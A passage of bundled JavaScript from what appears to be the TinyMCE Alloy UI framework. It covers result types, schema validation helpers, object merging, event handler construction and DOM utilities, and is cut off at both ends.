    const fold$1 = (res, onError, onValue) => res.stype === SimpleResultType.Error ? onError(res.serror) : onValue(res.svalue);
    const partition$2 = results => {
      const values = [];
      const errors = [];
      each$1(results, obj => {
        fold$1(obj, err => errors.push(err), val => values.push(val));
      });
      return {
        values,
        errors
      };
    };
    const mapError = (res, f) => {
      if (res.stype === SimpleResultType.Error) {
        return {
          stype: SimpleResultType.Error,
          serror: f(res.serror)
        };
      } else {
        return res;
      }
    };
    const map = (res, f) => {
      if (res.stype === SimpleResultType.Value) {
        return {
          stype: SimpleResultType.Value,
          svalue: f(res.svalue)
        };
      } else {
        return res;
      }
    };
    const bind$1 = (res, f) => {
      if (res.stype === SimpleResultType.Value) {
        return f(res.svalue);
      } else {
        return res;
      }
    };
    const bindError = (res, f) => {
      if (res.stype === SimpleResultType.Error) {
        return f(res.serror);
      } else {
        return res;
      }
    };
    const svalue = v => ({
      stype: SimpleResultType.Value,
      svalue: v
    });
    const serror = e => ({
      stype: SimpleResultType.Error,
      serror: e
    });
    const toResult$1 = res => fold$1(res, Result.error, Result.value);
    const fromResult$1 = res => res.fold(serror, svalue);
    const SimpleResult = {
      fromResult: fromResult$1,
      toResult: toResult$1,
      svalue,
      partition: partition$2,
      serror,
      bind: bind$1,
      bindError,
      map,
      mapError,
      fold: fold$1
    };

    const field$2 = (key, newKey, presence, prop) => ({
      tag: 'field',
      key,
      newKey,
      presence,
      prop
    });
    const customField$1 = (newKey, instantiator) => ({
      tag: 'custom',
      newKey,
      instantiator
    });
    const fold = (value, ifField, ifCustom) => {
      switch (value.tag) {
      case 'field':
        return ifField(value.key, value.newKey, value.presence, value.prop);
      case 'custom':
        return ifCustom(value.newKey, value.instantiator);
      }
    };

    const shallow$1 = (old, nu) => {
      return nu;
    };
    const deep = (old, nu) => {
      const bothObjects = isPlainObject(old) && isPlainObject(nu);
      return bothObjects ? deepMerge(old, nu) : nu;
    };
    const baseMerge = merger => {
      return (...objects) => {
        if (objects.length === 0) {
          throw new Error(`Can't merge zero objects`);
        }
        const ret = {};
        for (let j = 0; j < objects.length; j++) {
          const curObject = objects[j];
          for (const key in curObject) {
            if (has$2(curObject, key)) {
              ret[key] = merger(ret[key], curObject[key]);
            }
          }
        }
        return ret;
      };
    };
    const deepMerge = baseMerge(deep);
    const merge$1 = baseMerge(shallow$1);

    const required$2 = () => ({
      tag: 'required',
      process: {}
    });
    const defaultedThunk = fallbackThunk => ({
      tag: 'defaultedThunk',
      process: fallbackThunk
    });
    const defaulted$1 = fallback => defaultedThunk(constant$1(fallback));
    const asOption = () => ({
      tag: 'option',
      process: {}
    });
    const mergeWithThunk = baseThunk => ({
      tag: 'mergeWithThunk',
      process: baseThunk
    });
    const mergeWith = base => mergeWithThunk(constant$1(base));

    const mergeValues$1 = (values, base) => values.length > 0 ? SimpleResult.svalue(deepMerge(base, merge$1.apply(undefined, values))) : SimpleResult.svalue(base);
    const mergeErrors$1 = errors => compose(SimpleResult.serror, flatten)(errors);
    const consolidateObj = (objects, base) => {
      const partition = SimpleResult.partition(objects);
      return partition.errors.length > 0 ? mergeErrors$1(partition.errors) : mergeValues$1(partition.values, base);
    };
    const consolidateArr = objects => {
      const partitions = SimpleResult.partition(objects);
      return partitions.errors.length > 0 ? mergeErrors$1(partitions.errors) : SimpleResult.svalue(partitions.values);
    };
    const ResultCombine = {
      consolidateObj,
      consolidateArr
    };

    const formatObj = input => {
      return isObject(input) && keys(input).length > 100 ? ' removed due to size' : JSON.stringify(input, null, 2);
    };
    const formatErrors = errors => {
      const es = errors.length > 10 ? errors.slice(0, 10).concat([{
          path: [],
          getErrorInfo: constant$1('... (only showing first ten failures)')
        }]) : errors;
      return map$2(es, e => {
        return 'Failed path: (' + e.path.join(' > ') + ')\n' + e.getErrorInfo();
      });
    };

    const nu$a = (path, getErrorInfo) => {
      return SimpleResult.serror([{
          path,
          getErrorInfo
        }]);
    };
    const missingRequired = (path, key, obj) => nu$a(path, () => 'Could not find valid *required* value for "' + key + '" in ' + formatObj(obj));
    const missingKey = (path, key) => nu$a(path, () => 'Choice schema did not contain choice key: "' + key + '"');
    const missingBranch = (path, branches, branch) => nu$a(path, () => 'The chosen schema: "' + branch + '" did not exist in branches: ' + formatObj(branches));
    const unsupportedFields = (path, unsupported) => nu$a(path, () => 'There are unsupported fields: [' + unsupported.join(', ') + '] specified');
    const custom = (path, err) => nu$a(path, constant$1(err));

    const value$3 = validator => {
      const extract = (path, val) => {
        return SimpleResult.bindError(validator(val), err => custom(path, err));
      };
      const toString = constant$1('val');
      return {
        extract,
        toString
      };
    };
    const anyValue$1 = value$3(SimpleResult.svalue);

    const requiredAccess = (path, obj, key, bundle) => get$g(obj, key).fold(() => missingRequired(path, key, obj), bundle);
    const fallbackAccess = (obj, key, fallback, bundle) => {
      const v = get$g(obj, key).getOrThunk(() => fallback(obj));
      return bundle(v);
    };
    const optionAccess = (obj, key, bundle) => bundle(get$g(obj, key));
    const optionDefaultedAccess = (obj, key, fallback, bundle) => {
      const opt = get$g(obj, key).map(val => val === true ? fallback(obj) : val);
      return bundle(opt);
    };
    const extractField = (field, path, obj, key, prop) => {
      const bundle = av => prop.extract(path.concat([key]), av);
      const bundleAsOption = optValue => optValue.fold(() => SimpleResult.svalue(Optional.none()), ov => {
        const result = prop.extract(path.concat([key]), ov);
        return SimpleResult.map(result, Optional.some);
      });
      switch (field.tag) {
      case 'required':
        return requiredAccess(path, obj, key, bundle);
      case 'defaultedThunk':
        return fallbackAccess(obj, key, field.process, bundle);
      case 'option':
        return optionAccess(obj, key, bundleAsOption);
      case 'defaultedOptionThunk':
        return optionDefaultedAccess(obj, key, field.process, bundleAsOption);
      case 'mergeWithThunk': {
          return fallbackAccess(obj, key, constant$1({}), v => {
            const result = deepMerge(field.process(obj), v);
            return bundle(result);
          });
        }
      }
    };
    const extractFields = (path, obj, fields) => {
      const success = {};
      const errors = [];
      for (const field of fields) {
        fold(field, (key, newKey, presence, prop) => {
          const result = extractField(presence, path, obj, key, prop);
          SimpleResult.fold(result, err => {
            errors.push(...err);
          }, res => {
            success[newKey] = res;
          });
        }, (newKey, instantiator) => {
          success[newKey] = instantiator(obj);
        });
      }
      return errors.length > 0 ? SimpleResult.serror(errors) : SimpleResult.svalue(success);
    };
    const valueThunk = getDelegate => {
      const extract = (path, val) => getDelegate().extract(path, val);
      const toString = () => getDelegate().toString();
      return {
        extract,
        toString
      };
    };
    const getSetKeys = obj => keys(filter$1(obj, isNonNullable));
    const objOfOnly = fields => {
      const delegate = objOf(fields);
      const fieldNames = foldr(fields, (acc, value) => {
        return fold(value, key => deepMerge(acc, { [key]: true }), constant$1(acc));
      }, {});
      const extract = (path, o) => {
        const keys = isBoolean(o) ? [] : getSetKeys(o);
        const extra = filter$2(keys, k => !hasNonNullableKey(fieldNames, k));
        return extra.length === 0 ? delegate.extract(path, o) : unsupportedFields(path, extra);
      };
      return {
        extract,
        toString: delegate.toString
      };
    };
    const objOf = values => {
      const extract = (path, o) => extractFields(path, o, values);
      const toString = () => {
        const fieldStrings = map$2(values, value => fold(value, (key, _okey, _presence, prop) => key + ' -> ' + prop.toString(), (newKey, _instantiator) => 'state(' + newKey + ')'));
        return 'obj{\n' + fieldStrings.join('\n') + '}';
      };
      return {
        extract,
        toString
      };
    };
    const arrOf = prop => {
      const extract = (path, array) => {
        const results = map$2(array, (a, i) => prop.extract(path.concat(['[' + i + ']']), a));
        return ResultCombine.consolidateArr(results);
      };
      const toString = () => 'array(' + prop.toString() + ')';
      return {
        extract,
        toString
      };
    };
    const oneOf = (props, rawF) => {
      const f = rawF !== undefined ? rawF : identity;
      const extract = (path, val) => {
        const errors = [];
        for (const prop of props) {
          const res = prop.extract(path, val);
          if (res.stype === SimpleResultType.Value) {
            return {
              stype: SimpleResultType.Value,
              svalue: f(res.svalue)
            };
          }
          errors.push(res);
        }
        return ResultCombine.consolidateArr(errors);
      };
      const toString = () => 'oneOf(' + map$2(props, prop => prop.toString()).join(', ') + ')';
      return {
        extract,
        toString
      };
    };
    const setOf$1 = (validator, prop) => {
      const validateKeys = (path, keys) => arrOf(value$3(validator)).extract(path, keys);
      const extract = (path, o) => {
        const keys$1 = keys(o);
        const validatedKeys = validateKeys(path, keys$1);
        return SimpleResult.bind(validatedKeys, validKeys => {
          const schema = map$2(validKeys, vk => {
            return field$2(vk, vk, required$2(), prop);
          });
          return objOf(schema).extract(path, o);
        });
      };
      const toString = () => 'setOf(' + prop.toString() + ')';
      return {
        extract,
        toString
      };
    };
    const thunk = (_desc, processor) => {
      const getP = cached(processor);
      const extract = (path, val) => getP().extract(path, val);
      const toString = () => getP().toString();
      return {
        extract,
        toString
      };
    };
    const arrOfObj = compose(arrOf, objOf);

    const anyValue = constant$1(anyValue$1);
    const typedValue = (validator, expectedType) => value$3(a => {
      const actualType = typeof a;
      return validator(a) ? SimpleResult.svalue(a) : SimpleResult.serror(`Expected type: ${ expectedType } but got: ${ actualType }`);
    });
    const number = typedValue(isNumber, 'number');
    const string = typedValue(isString, 'string');
    const boolean = typedValue(isBoolean, 'boolean');
    const functionProcessor = typedValue(isFunction, 'function');
    const isPostMessageable = val => {
      if (Object(val) !== val) {
        return true;
      }
      switch ({}.toString.call(val).slice(8, -1)) {
      case 'Boolean':
      case 'Number':
      case 'String':
      case 'Date':
      case 'RegExp':
      case 'Blob':
      case 'FileList':
      case 'ImageData':
      case 'ImageBitmap':
      case 'ArrayBuffer':
        return true;
      case 'Array':
      case 'Object':
        return Object.keys(val).every(prop => isPostMessageable(val[prop]));
      default:
        return false;
      }
    };
    const postMessageable = value$3(a => {
      if (isPostMessageable(a)) {
        return SimpleResult.svalue(a);
      } else {
        return SimpleResult.serror('Expected value to be acceptable for sending via postMessage');
      }
    });

    const chooseFrom = (path, input, branches, ch) => {
      const fields = get$g(branches, ch);
      return fields.fold(() => missingBranch(path, branches, ch), vp => vp.extract(path.concat(['branch: ' + ch]), input));
    };
    const choose$2 = (key, branches) => {
      const extract = (path, input) => {
        const choice = get$g(input, key);
        return choice.fold(() => missingKey(path, key), chosen => chooseFrom(path, input, branches, chosen));
      };
      const toString = () => 'chooseOn(' + key + '). Possible values: ' + keys(branches);
      return {
        extract,
        toString
      };
    };

    const arrOfVal = () => arrOf(anyValue$1);
    const valueOf = validator => value$3(v => validator(v).fold(SimpleResult.serror, SimpleResult.svalue));
    const setOf = (validator, prop) => setOf$1(v => SimpleResult.fromResult(validator(v)), prop);
    const extractValue = (label, prop, obj) => {
      const res = prop.extract([label], obj);
      return SimpleResult.mapError(res, errs => ({
        input: obj,
        errors: errs
      }));
    };
    const asRaw = (label, prop, obj) => SimpleResult.toResult(extractValue(label, prop, obj));
    const getOrDie = extraction => {
      return extraction.fold(errInfo => {
        throw new Error(formatError(errInfo));
      }, identity);
    };
    const asRawOrDie$1 = (label, prop, obj) => getOrDie(asRaw(label, prop, obj));
    const formatError = errInfo => {
      return 'Errors: \n' + formatErrors(errInfo.errors).join('\n') + '\n\nInput object: ' + formatObj(errInfo.input);
    };
    const choose$1 = (key, branches) => choose$2(key, map$1(branches, objOf));
    const thunkOf = (desc, schema) => thunk(desc, schema);

    const field$1 = field$2;
    const customField = customField$1;
    const validateEnum = values => valueOf(value => contains$2(values, value) ? Result.value(value) : Result.error(`Unsupported value: "${ value }", choose one of "${ values.join(', ') }".`));
    const required$1 = key => field$1(key, key, required$2(), anyValue());
    const requiredOf = (key, schema) => field$1(key, key, required$2(), schema);
    const requiredNumber = key => requiredOf(key, number);
    const requiredString = key => requiredOf(key, string);
    const requiredStringEnum = (key, values) => field$1(key, key, required$2(), validateEnum(values));
    const requiredBoolean = key => requiredOf(key, boolean);
    const requiredFunction = key => requiredOf(key, functionProcessor);
    const forbid = (key, message) => field$1(key, key, asOption(), value$3(_v => SimpleResult.serror('The field: ' + key + ' is forbidden. ' + message)));
    const requiredObjOf = (key, objSchema) => field$1(key, key, required$2(), objOf(objSchema));
    const requiredArrayOfObj = (key, objFields) => field$1(key, key, required$2(), arrOfObj(objFields));
    const requiredArrayOf = (key, schema) => field$1(key, key, required$2(), arrOf(schema));
    const option$3 = key => field$1(key, key, asOption(), anyValue());
    const optionOf = (key, schema) => field$1(key, key, asOption(), schema);
    const optionNumber = key => optionOf(key, number);
    const optionString = key => optionOf(key, string);
    const optionStringEnum = (key, values) => optionOf(key, validateEnum(values));
    const optionFunction = key => optionOf(key, functionProcessor);
    const optionArrayOf = (key, schema) => optionOf(key, arrOf(schema));
    const optionObjOf = (key, objSchema) => optionOf(key, objOf(objSchema));
    const optionObjOfOnly = (key, objSchema) => optionOf(key, objOfOnly(objSchema));
    const defaulted = (key, fallback) => field$1(key, key, defaulted$1(fallback), anyValue());
    const defaultedOf = (key, fallback, schema) => field$1(key, key, defaulted$1(fallback), schema);
    const defaultedNumber = (key, fallback) => defaultedOf(key, fallback, number);
    const defaultedString = (key, fallback) => defaultedOf(key, fallback, string);
    const defaultedStringEnum = (key, fallback, values) => defaultedOf(key, fallback, validateEnum(values));
    const defaultedBoolean = (key, fallback) => defaultedOf(key, fallback, boolean);
    const defaultedFunction = (key, fallback) => defaultedOf(key, fallback, functionProcessor);
    const defaultedPostMsg = (key, fallback) => defaultedOf(key, fallback, postMessageable);
    const defaultedArrayOf = (key, fallback, schema) => defaultedOf(key, fallback, arrOf(schema));
    const defaultedObjOf = (key, fallback, objSchema) => defaultedOf(key, fallback, objOf(objSchema));

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const generate$7 = cases => {
      if (!isArray(cases)) {
        throw new Error('cases must be an array');
      }
      if (cases.length === 0) {
        throw new Error('there must be at least one case');
      }
      const constructors = [];
      const adt = {};
      each$1(cases, (acase, count) => {
        const keys$1 = keys(acase);
        if (keys$1.length !== 1) {
          throw new Error('one and only one name per case');
        }
        const key = keys$1[0];
        const value = acase[key];
        if (adt[key] !== undefined) {
          throw new Error('duplicate key detected:' + key);
        } else if (key === 'cata') {
          throw new Error('cannot have a case named cata (sorry)');
        } else if (!isArray(value)) {
          throw new Error('case arguments must be an array');
        }
        constructors.push(key);
        adt[key] = (...args) => {
          const argLength = args.length;
          if (argLength !== value.length) {
            throw new Error('Wrong number of arguments to case ' + key + '. Expected ' + value.length + ' (' + value + '), got ' + argLength);
          }
          const match = branches => {
            const branchKeys = keys(branches);
            if (constructors.length !== branchKeys.length) {
              throw new Error('Wrong number of arguments to match. Expected: ' + constructors.join(',') + '\nActual: ' + branchKeys.join(','));
            }
            const allReqd = forall(constructors, reqKey => {
              return contains$2(branchKeys, reqKey);
            });
            if (!allReqd) {
              throw new Error('Not all branches were specified when using match. Specified: ' + branchKeys.join(', ') + '\nRequired: ' + constructors.join(', '));
            }
            return branches[key].apply(null, args);
          };
          return {
            fold: (...foldArgs) => {
              if (foldArgs.length !== cases.length) {
                throw new Error('Wrong number of arguments to fold. Expected ' + cases.length + ', got ' + foldArgs.length);
              }
              const target = foldArgs[count];
              return target.apply(null, args);
            },
            match,
            log: label => {
              console.log(label, {
                constructors,
                constructor: key,
                params: args
              });
            }
          };
        };
      });
      return adt;
    };
    const Adt = { generate: generate$7 };

    Adt.generate([
      {
        bothErrors: [
          'error1',
          'error2'
        ]
      },
      {
        firstError: [
          'error1',
          'value2'
        ]
      },
      {
        secondError: [
          'value1',
          'error2'
        ]
      },
      {
        bothValues: [
          'value1',
          'value2'
        ]
      }
    ]);
    const partition$1 = results => {
      const errors = [];
      const values = [];
      each$1(results, result => {
        result.fold(err => {
          errors.push(err);
        }, value => {
          values.push(value);
        });
      });
      return {
        errors,
        values
      };
    };

    const exclude$1 = (obj, fields) => {
      const r = {};
      each(obj, (v, k) => {
        if (!contains$2(fields, k)) {
          r[k] = v;
        }
      });
      return r;
    };

    const wrap$2 = (key, value) => ({ [key]: value });
    const wrapAll$1 = keyvalues => {
      const r = {};
      each$1(keyvalues, kv => {
        r[kv.key] = kv.value;
      });
      return r;
    };

    const exclude = (obj, fields) => exclude$1(obj, fields);
    const wrap$1 = (key, value) => wrap$2(key, value);
    const wrapAll = keyvalues => wrapAll$1(keyvalues);
    const mergeValues = (values, base) => {
      return values.length === 0 ? Result.value(base) : Result.value(deepMerge(base, merge$1.apply(undefined, values)));
    };
    const mergeErrors = errors => Result.error(flatten(errors));
    const consolidate = (objs, base) => {
      const partitions = partition$1(objs);
      return partitions.errors.length > 0 ? mergeErrors(partitions.errors) : mergeValues(partitions.values, base);
    };

    const ensureIsRoot = isRoot => isFunction(isRoot) ? isRoot : never;
    const ancestor$2 = (scope, transform, isRoot) => {
      let element = scope.dom;
      const stop = ensureIsRoot(isRoot);
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        const transformed = transform(el);
        if (transformed.isSome()) {
          return transformed;
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$4 = (scope, transform, isRoot) => {
      const current = transform(scope);
      const stop = ensureIsRoot(isRoot);
      return current.orThunk(() => stop(scope) ? Optional.none() : ancestor$2(scope, transform, stop));
    };

    const isSource = (component, simulatedEvent) => eq(component.element, simulatedEvent.event.target);

    const defaultEventHandler = {
      can: always,
      abort: never,
      run: noop
    };
    const nu$9 = parts => {
      if (!hasNonNullableKey(parts, 'can') && !hasNonNullableKey(parts, 'abort') && !hasNonNullableKey(parts, 'run')) {
        throw new Error('EventHandler defined by: ' + JSON.stringify(parts, null, 2) + ' does not have can, abort, or run!');
      }
      return {
        ...defaultEventHandler,
        ...parts
      };
    };
    const all$2 = (handlers, f) => (...args) => foldl(handlers, (acc, handler) => acc && f(handler).apply(undefined, args), true);
    const any = (handlers, f) => (...args) => foldl(handlers, (acc, handler) => acc || f(handler).apply(undefined, args), false);
    const read$2 = handler => isFunction(handler) ? {
      can: always,
      abort: never,
      run: handler
    } : handler;
    const fuse$1 = handlers => {
      const can = all$2(handlers, handler => handler.can);
      const abort = any(handlers, handler => handler.abort);
      const run = (...args) => {
        each$1(handlers, handler => {
          handler.run.apply(undefined, args);
        });
      };
      return {
        can,
        abort,
        run
      };
    };

    const constant = constant$1;
    const touchstart = constant('touchstart');
    const touchmove = constant('touchmove');
    const touchend = constant('touchend');
    const touchcancel = constant('touchcancel');
    const mousedown = constant('mousedown');
    const mousemove = constant('mousemove');
    const mouseout = constant('mouseout');
    const mouseup = constant('mouseup');
    const mouseover = constant('mouseover');
    const focusin = constant('focusin');
    const focusout = constant('focusout');
    const keydown = constant('keydown');
    const keyup = constant('keyup');
    const input = constant('input');
    const change = constant('change');
    const click = constant('click');
    const transitioncancel = constant('transitioncancel');
    const transitionend = constant('transitionend');
    const transitionstart = constant('transitionstart');
    const selectstart = constant('selectstart');

    const prefixName = name => constant$1('alloy.' + name);
    const alloy = { tap: prefixName('tap') };
    const focus$4 = prefixName('focus');
    const postBlur = prefixName('blur.post');
    const postPaste = prefixName('paste.post');
    const receive = prefixName('receive');
    const execute$5 = prefixName('execute');
    const focusItem = prefixName('focus.item');
    const tap = alloy.tap;
    const longpress = prefixName('longpress');
    const sandboxClose = prefixName('sandbox.close');
    const typeaheadCancel = prefixName('typeahead.cancel');
    const systemInit = prefixName('system.init');
    const documentTouchmove = prefixName('system.touchmove');
    const documentTouchend = prefixName('system.touchend');
    const windowScroll = prefixName('system.scroll');
    const windowResize = prefixName('system.resize');
    const attachedToDom = prefixName('system.attached');
    const detachedFromDom = prefixName('system.detached');
    const dismissRequested = prefixName('system.dismissRequested');
    const repositionRequested = prefixName('system.repositionRequested');
    const focusShifted = prefixName('focusmanager.shifted');
    const slotVisibility = prefixName('slotcontainer.visibility');
    const changeTab = prefixName('change.tab');
    const dismissTab = prefixName('dismiss.tab');
    const highlight$1 = prefixName('highlight');
    const dehighlight$1 = prefixName('dehighlight');

    const emit = (component, event) => {
      dispatchWith(component, component.element, event, {});
    };
    const emitWith = (component, event, properties) => {
      dispatchWith(component, component.element, event, properties);
    };
    const emitExecute = component => {
      emit(component, execute$5());
    };
    const dispatch = (component, target, event) => {
      dispatchWith(component, target, event, {});
    };
    const dispatchWith = (component, target, event, properties) => {
      const data = {
        target,
        ...properties
      };
      component.getSystem().triggerEvent(event, target, data);
    };
    const retargetAndDispatchWith = (component, target, eventName, properties) => {
      const data = {
        ...properties,
        target
      };
      component.getSystem().triggerEvent(eventName, target, data);
    };
    const dispatchEvent = (component, target, event, simulatedEvent) => {
      component.getSystem().triggerEvent(event, target, simulatedEvent.event);
    };

    const derive$2 = configs => wrapAll(configs);
    const abort = (name, predicate) => {
      return {
        key: name,
        value: nu$9({ abort: predicate })
      };
    };
    const can = (name, predicate) => {
      return {
        key: name,
        value: nu$9({ can: predicate })
      };
    };
    const preventDefault = name => {
      return {
        key: name,
        value: nu$9({
          run: (component, simulatedEvent) => {
            simulatedEvent.event.prevent();
          }
        })
      };
    };
    const run$1 = (name, handler) => {
      return {
        key: name,
        value: nu$9({ run: handler })
      };
    };
    const runActionExtra = (name, action, extra) => {
      return {
        key: name,
        value: nu$9({
          run: (component, simulatedEvent) => {
            action.apply(undefined, [
              component,
              simulatedEvent
            ].concat(extra));
          }
        })
      };
    };
    const runOnName = name => {
      return handler => run$1(name, handler);
    };
    const runOnSourceName = name => {
      return handler => ({
        key: name,
        value: nu$9({
          run: (component, simulatedEvent) => {
            if (isSource(component, simulatedEvent)) {
              handler(component, simulatedEvent);
            }
          }
        })
      });
    };
    const redirectToUid = (name, uid) => {
      return run$1(name, (component, simulatedEvent) => {
        component.getSystem().getByUid(uid).each(redirectee => {
          dispatchEvent(redirectee, redirectee.element, name, simulatedEvent);
        });
      });
    };
    const redirectToPart = (name, detail, partName) => {
      const uid = detail.partUids[partName];
      return redirectToUid(name, uid);
    };
    const runWithTarget = (name, f) => {
      return run$1(name, (component, simulatedEvent) => {
        const ev = simulatedEvent.event;
        const target = component.getSystem().getByDom(ev.target).getOrThunk(() => {
          const closest = closest$4(ev.target, el => component.getSystem().getByDom(el).toOptional(), never);
          return closest.getOr(component);
        });
        f(component, target, simulatedEvent);
      });
    };
    const cutter = name => {
      return run$1(name, (component, simulatedEvent) => {
        simulatedEvent.cut();
      });
    };
    const stopper = name => {
      return run$1(name, (component, simulatedEvent) => {
        simulatedEvent.stop();
      });
    };
    const runOnSource = (name, f) => {
      return runOnSourceName(name)(f);
    };
    const runOnAttached = runOnSourceName(attachedToDom());
    const runOnDetached = runOnSourceName(detachedFromDom());
    const runOnInit = runOnSourceName(systemInit());
    const runOnExecute$1 = runOnName(execute$5());

    const fromHtml$1 = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      return children(SugarElement.fromDom(div));
    };

    const get$9 = element => element.dom.innerHTML;
    const set$6 = (element, content) => {
      const owner = owner$4(element);
      const docDom = owner.dom;
      const fragment = SugarElement.fromDom(docDom.createDocumentFragment());
      const contentElements = fromHtml$1(content, docDom);
      append$1(fragment, contentElements);
      empty(element);
      append$2(element, fragment);
    };
    const getOuter = element => {
      const container = SugarElement.fromTag('div');
      const clone = SugarElement.fromDom(element.dom.cloneNode(true));
      append$2(container, clone);
      return get$9(container);
    };

    const clone$1 = (original, isDeep) => SugarElement.fromDom(original.dom.cloneNode(isDeep));
    const shallow = original => clone$1(original, false);

    const getHtml = element => {
      if (isShadowRoot(element)) {
        return '#shadow-root';
      } else {
        const clone = shallow(element);
        return getOuter(clone);
      }
    };

    const element = elem => getHtml(elem);

    const isRecursive = (component, originator, target) => eq(originator, component.element) && !eq(originator, target);
    const events$i = derive$2([can(focus$4(), (component, simulatedEvent) => {
        const event = simulatedEvent.event;
        const originator = event.originator;
        const target = event.target;
        if (isRecursive(component, originator, target)) {
          console.warn(focus$4() + ' did not get interpreted by the desired target. ' + '\nOriginator: ' + element(originator) + '\nTarget: ' + element(target) + '\nCheck the ' + focus$4() + ' event handlers');
          return false;
        } else {
          return true;
        }
      })]);

    var DefaultEvents = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$i
    });

    let unique = 0;
    const generate$6 = prefix => {
      const date = new Date();
      const time = date.getTime();
      const random = Math.floor(Math.random() * 1000000000);
      unique++;
      return prefix + '_' + random + unique + String(time);
    };

    const prefix$1 = constant$1('alloy-id-');
    const idAttr$1 = constant$1('data-alloy-id');

    const prefix = prefix$1();
    const idAttr = idAttr$1();
    const write = (label, elem) => {
      const id = generate$6(prefix + label);
      writeOnly(elem, id);
      return id;
    };
    const writeOnly = (elem, uid) => {
      Object.defineProperty(elem.dom, idAttr, {
        value: uid,
        writable: true
      });
    };
    const read$1 = elem => {
      const id = isElement$1(elem) ? elem.dom[idAttr] : null;
      return Optional.from(id);
    };
    const generate$5 = prefix => generate$6(prefix);

    const make$8 = identity;

    const NoContextApi = getComp => {
      const getMessage = event => `The component must be in a context to execute: ${ event }` + (getComp ? '\n' + element(getComp().element) + ' is not in context.' : '');
      const fail = event => () => {
        throw new Error(getMessage(event));
      };
      const warn = event => () => {
        console.warn(getMessage(event));
      };
      return {
        debugInfo: constant$1('fake'),
        triggerEvent: warn('triggerEvent'),
        triggerFocus: warn('triggerFocus'),
        triggerEscape: warn('triggerEscape'),
        broadcast: warn('broadcast'),
        broadcastOn: warn('broadcastOn'),
        broadcastEvent: warn('broadcastEvent'),
        build: fail('build'),
        buildOrPatch: fail('buildOrPatch'),
        addToWorld: fail('addToWorld'),
        removeFromWorld: fail('removeFromWorld'),
        addToGui: fail('addToGui'),
        removeFromGui: fail('removeFromGui'),
        getByUid: fail('getByUid'),
        getByDom: fail('getByDom'),
        isConnected: never
      };
    };
    const singleton$1 = NoContextApi();

    const markAsBehaviourApi = (f, apiName, apiFunction) => {
      const delegate = apiFunction.toString();
      const endIndex = delegate.indexOf(')') + 1;
      const openBracketIndex = delegate.indexOf('(');
      const parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/);
      f.toFunctionAnnotation = () => ({
        name: apiName,
        parameters: cleanParameters(parameters.slice(0, 1).concat(parameters.slice(3)))
      });
      return f;
    };
    const cleanParameters = parameters => map$2(parameters, p => endsWith(p, '/*') ? p.substring(0, p.length - '/*'.length) : p);
    const markAsExtraApi = (f, extraName) => {
      const delegate = f.toString();
      const endIndex = delegate.indexOf(')') + 1;
      const openBracketIndex = delegate.indexOf('(');
      const parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/);
      f.toFunctionAnnotation = () => ({
        name: extraName,
        parameters: cleanParameters(parameters)
      });
      return f;
    };
    const markAsSketchApi = (f, apiFunction) => {
      const delegate = apiFunction.toString();
      const endIndex = delegate.indexOf(')') + 1;
      const openBracketIndex = delegate.indexOf('(');
      const parameters = delegate.substring(openBracketIndex + 1, endIndex - 1).split(/,\s*/);
      f.toFunctionAnnotation = () => ({
        name: 'OVERRIDE',
        parameters: cleanParameters(parameters.slice(1))
      });
      return f;
    };

    const premadeTag = generate$6('alloy-premade');
    const premade$1 = comp => {
      Object.defineProperty(comp.element.dom, premadeTag, {
        value: comp.uid,
        writable: true
      });
      return wrap$1(premadeTag, comp);
    };
    const isPremade = element => has$2(element.dom, premadeTag);
    const getPremade = spec => get$g(spec, premadeTag);
    const makeApi = f => markAsSketchApi((component, ...rest) => f(component.getApis(), component, ...rest), f);

    const NoState = { init: () => nu$8({ readState: constant$1('No State required') }) };
    const nu$8 = spec => spec;

    const generateFrom$1 = (spec, all) => {
      const schema = map$2(all, a => optionObjOf(a.name(), [
        required$1('config'),
        defaulted('state', NoState)
      ]));
      const validated = asRaw('component.behaviours', objOf(schema), spec.behaviours).fold(errInfo => {
        throw new Error(formatError(errInfo) + '\nComplete spec:\n' + JSON.stringify(spec, null, 2));
      }, identity);
      return {
        list: all,
        data: map$1(validated, optBlobThunk => {
          const output = optBlobThunk.map(blob => ({
            config: blob.config,
            state: blob.state.init(blob.config)
          }));
          return constant$1(output);
        })
      };
    };
    const getBehaviours$3 = bData => bData.list;
    const getData$2 = bData => bData.data;

    const byInnerKey = (data, tuple) => {
      const r = {};
      each(data, (detail, key) => {
        each(detail, (value, indexKey) => {
          const chain = get$g(r, indexKey).getOr([]);
          r[indexKey] = chain.concat([tuple(key, value)]);
        });
      });
      return r;
    };

    const nu$7 = s => ({
      classes: isUndefined(s.classes) ? [] : s.classes,
      attributes: isUndefined(s.attributes) ? {} : s.attributes,
      styles: isUndefined(s.styles) ? {} : s.styles
    });
    const merge = (defnA, mod) => ({
      ...defnA,
      attributes: {
        ...defnA.attributes,
        ...mod.attributes
      },
      styles: {
        ...defnA.styles,
        ...mod.styles
      },
      classes: defnA.classes.concat(mod.classes)
    });

    const combine$2 = (info, baseMod, behaviours, base) => {
      const modsByBehaviour = { ...baseMod };
      each$1(behaviours, behaviour => {
        modsByBehaviour[behaviour.name()] = behaviour.exhibit(info, base);
      });
      const byAspect = byInnerKey(modsByBehaviour, (name, modification) => ({
        name,
        modification
      }));
      const combineObjects = objects => foldr(objects, (b, a) => ({
        ...a.modification,
        ...b
      }), {});
      const combinedClasses = foldr(byAspect.classes, (b, a) => a.modification.concat(b), []);
      const combinedAttributes = combineObjects(byAspect.attributes);
      const combinedStyles = combineObjects(byAspect.styles);
      return nu$7({
        classes: combinedClasses,
        attributes: combinedAttributes,
        styles: combinedStyles
      });
    };

    const sortKeys = (label, keyName, array, order) => {
      try {
        const sorted = sort(array, (a, b) => {
          const aKey = a[keyName];
          const bKey = b[keyName];
          const aIndex = order.indexOf(aKey);
          const bIndex = order.indexOf(bKey);
          if (aIndex === -1) {
            throw new Error('The ordering for ' + label + ' does not have an entry for ' + aKey + '.\nOrder specified: ' + JSON.stringify(order, null, 2));
          }
          if (bIndex === -1) {
